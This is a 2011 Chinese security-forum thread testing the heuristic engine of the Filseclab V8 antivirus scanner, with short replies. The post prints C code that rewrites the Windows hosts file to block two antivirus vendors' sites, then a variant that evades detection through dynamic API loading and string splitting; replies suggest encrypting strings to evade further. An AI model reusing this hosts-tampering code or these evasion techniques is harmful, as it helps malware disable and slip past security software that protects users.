查看: 5502|回复: 35
收起左侧

[费尔] 小探费尔启发扫描

  [复制链接]
MagicFuzzX
发表于 2011-3-6 18:57:49 | 显示全部楼层 |阅读模式
费尔新出的V8扫描器引入了虚拟机启发,这也是费尔V8的特色之一,今天我们就来简单的测试下费尔的虚拟机启发。
先来一段简单的代码,费尔能启发到威胁
  1. VOID ModifyHosts()
  2. {
  3.         CHAR szHostsPath[MAX_PATH] = {0};
  4.         GetSystemDirectory(szHostsPath,MAX_PATH);
  5.         lstrcat(szHostsPath,"\\drivers\\etc\\hosts");
  6.         CleanMyAttributes(szHostsPath);
  7.         HANDLE hFile;
  8.         hFile = CreateFile(szHostsPath,GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
  9.         if (hFile != INVALID_HANDLE_VALUE)
  10.         {
  11.                 SetFilePointer(hFile,0,0,FILE_END);
  12.                 LPSTR lpData = "127.0.0.1 www.360.cn\r\n127.0.0.1 www.rising.com.cn\r\n";
  13.                 DWORD dwDataSize = lstrlen(lpData);
  14.                 WriteFile(hFile,lpData,dwDataSize,&dwDataSize,NULL);
  15.         }
  16.         SetMyAttributes(szHostsPath);
  17.         CloseHandle(hFile);
  18. }
复制代码


这段代码很简单,就是修改下hosts文件,当然了这段代码也是有一定的威胁的,所以费尔报为Heur.NewTreat.a是正确的。

如果我们注释掉//WriteFile(hFile,lpData,dwDataSize,&dwDataSize,NULL);这句,再编译,费尔就没有报毒了,注释掉这句我们的程序就不会向hosts文件写入信息了,所以这里不报也是正确的。

如果我们将lstrcat(szHostsPath,"\\drivers\\etc\\hosts");修改为lstrcat(szHostsPath,"\\drivers\\etc\\hoasts");改变下字符串,再编译,费尔也没有报毒,改掉这句的话我们写入的将不是hosts文件,所以也没有威胁,费尔没报也是正确的。

根据上面的测试我们可以推测费尔的启发是根据字符串和API函数CreateFile,WriteFile组合来启发的。
我们将CreateFile,WriteFile调动方式改为动态的,然后再将字符串截断,修改后的代码如下:
  1. typedef BOOL (WINAPI *PWRITEFILE)(HANDLE,LPCVOID,DWORD,LPDWORD,LPOVERLAPPED);
  2. typedef HANDLE (WINAPI *PCreateFile)(LPCTSTR,DWORD,DWORD,LPSECURITY_ATTRIBUTES,DWORD,DWORD,HANDLE);

  3. VOID ModifyHosts()
  4. {
  5.         HINSTANCE hLibrary = LoadLibrary("Kernel32.dll");
  6.         PWRITEFILE  PFuncWriteFile;
  7.         PFuncWriteFile = (PWRITEFILE)GetProcAddress(hLibrary,"WriteFile");

  8.         PCreateFile pFuncCreateFile;
  9.         pFuncCreateFile = (PCreateFile)GetProcAddress(hLibrary,"CreateFileA");

  10.         CHAR szHostsPath[MAX_PATH] = {0};
  11.         GetSystemDirectory(szHostsPath,MAX_PATH);
  12.         lstrcat(szHostsPath,"\\drivers\\etc\\ho");
  13.         lstrcat(szHostsPath,"sts");
  14.         CleanMyAttributes(szHostsPath);
  15.         HANDLE hFile;
  16.         hFile = pFuncCreateFile(szHostsPath,GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
  17.         if (hFile != INVALID_HANDLE_VALUE)
  18.         {
  19.                 SetFilePointer(hFile,0,0,FILE_END);
  20.                 LPSTR lpData = "127.0.0.1 www.360.cn\r\n127.0.0.1 www.rising.com.cn\r\n";
  21.                 DWORD dwDataSize = lstrlen(lpData);
  22.                 PFuncWriteFile(hFile,lpData,dwDataSize,&dwDataSize,NULL);
  23.         }
  24.         SetMyAttributes(szHostsPath);
  25.         CloseHandle(hFile);
  26.         FreeLibrary(hLibrary);
  27. }
复制代码
居然依旧提示病毒,这个确实超乎我的意料了-_-,看样子不是静态启发了,膜拜下~~
OK,我们加上一段对抗Emulator代码,成功免杀,为了世界的河蟹,不透露了


综上所述,费尔的启发应该是有虚拟机的,膜拜mvm.dll,当然所加的壳更是要膜拜的-_-
附件中的,两个exe,一个免杀费尔虚拟机的,一个没有免杀
测试环境如下:




本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x

评分

参与人数 1人气 +1 收起 理由
fengsu + 1 版区有你更精彩: )

查看全部评分

知微
发表于 2011-3-6 19:02:23 | 显示全部楼层
这个围观,不懂程序
蓝乐
发表于 2011-3-6 19:15:02 | 显示全部楼层
纯膜拜了~~
xiayang1221
发表于 2011-3-6 19:24:33 | 显示全部楼层
回复 1楼 smilediy 的帖子

楼主把动态函数的字符串以及HOSTS路径的字符串都加密一下,我就不试了~这个启发引擎还有很多路要走,动态启发很好anti
MagicFuzzX
 楼主| 发表于 2011-3-6 19:26:26 | 显示全部楼层
回复 4楼 xiayang1221 的帖子

有空做个hash
士兵许三多
发表于 2011-3-6 19:31:33 | 显示全部楼层
都是强人,我是来围观的。
zjkzjy
发表于 2011-3-6 20:07:48 | 显示全部楼层
技术贴,只围观
winxp0286
发表于 2011-3-6 20:10:31 | 显示全部楼层
诺顿,没有反应!!!SONAR II 无反应!!!双击,无效.杯具!!!
zjkzjy
发表于 2011-3-6 20:28:24 | 显示全部楼层
本帖最后由 zjkzjy 于 2011-3-6 20:30 编辑

欢迎常来指点,费尔的进步需要你们这些技术淫才。
hds_ss
发表于 2011-3-6 20:50:32 | 显示全部楼层
只能学习了
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-2-6 10:03 , Processed in 0.130355 second(s), 19 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表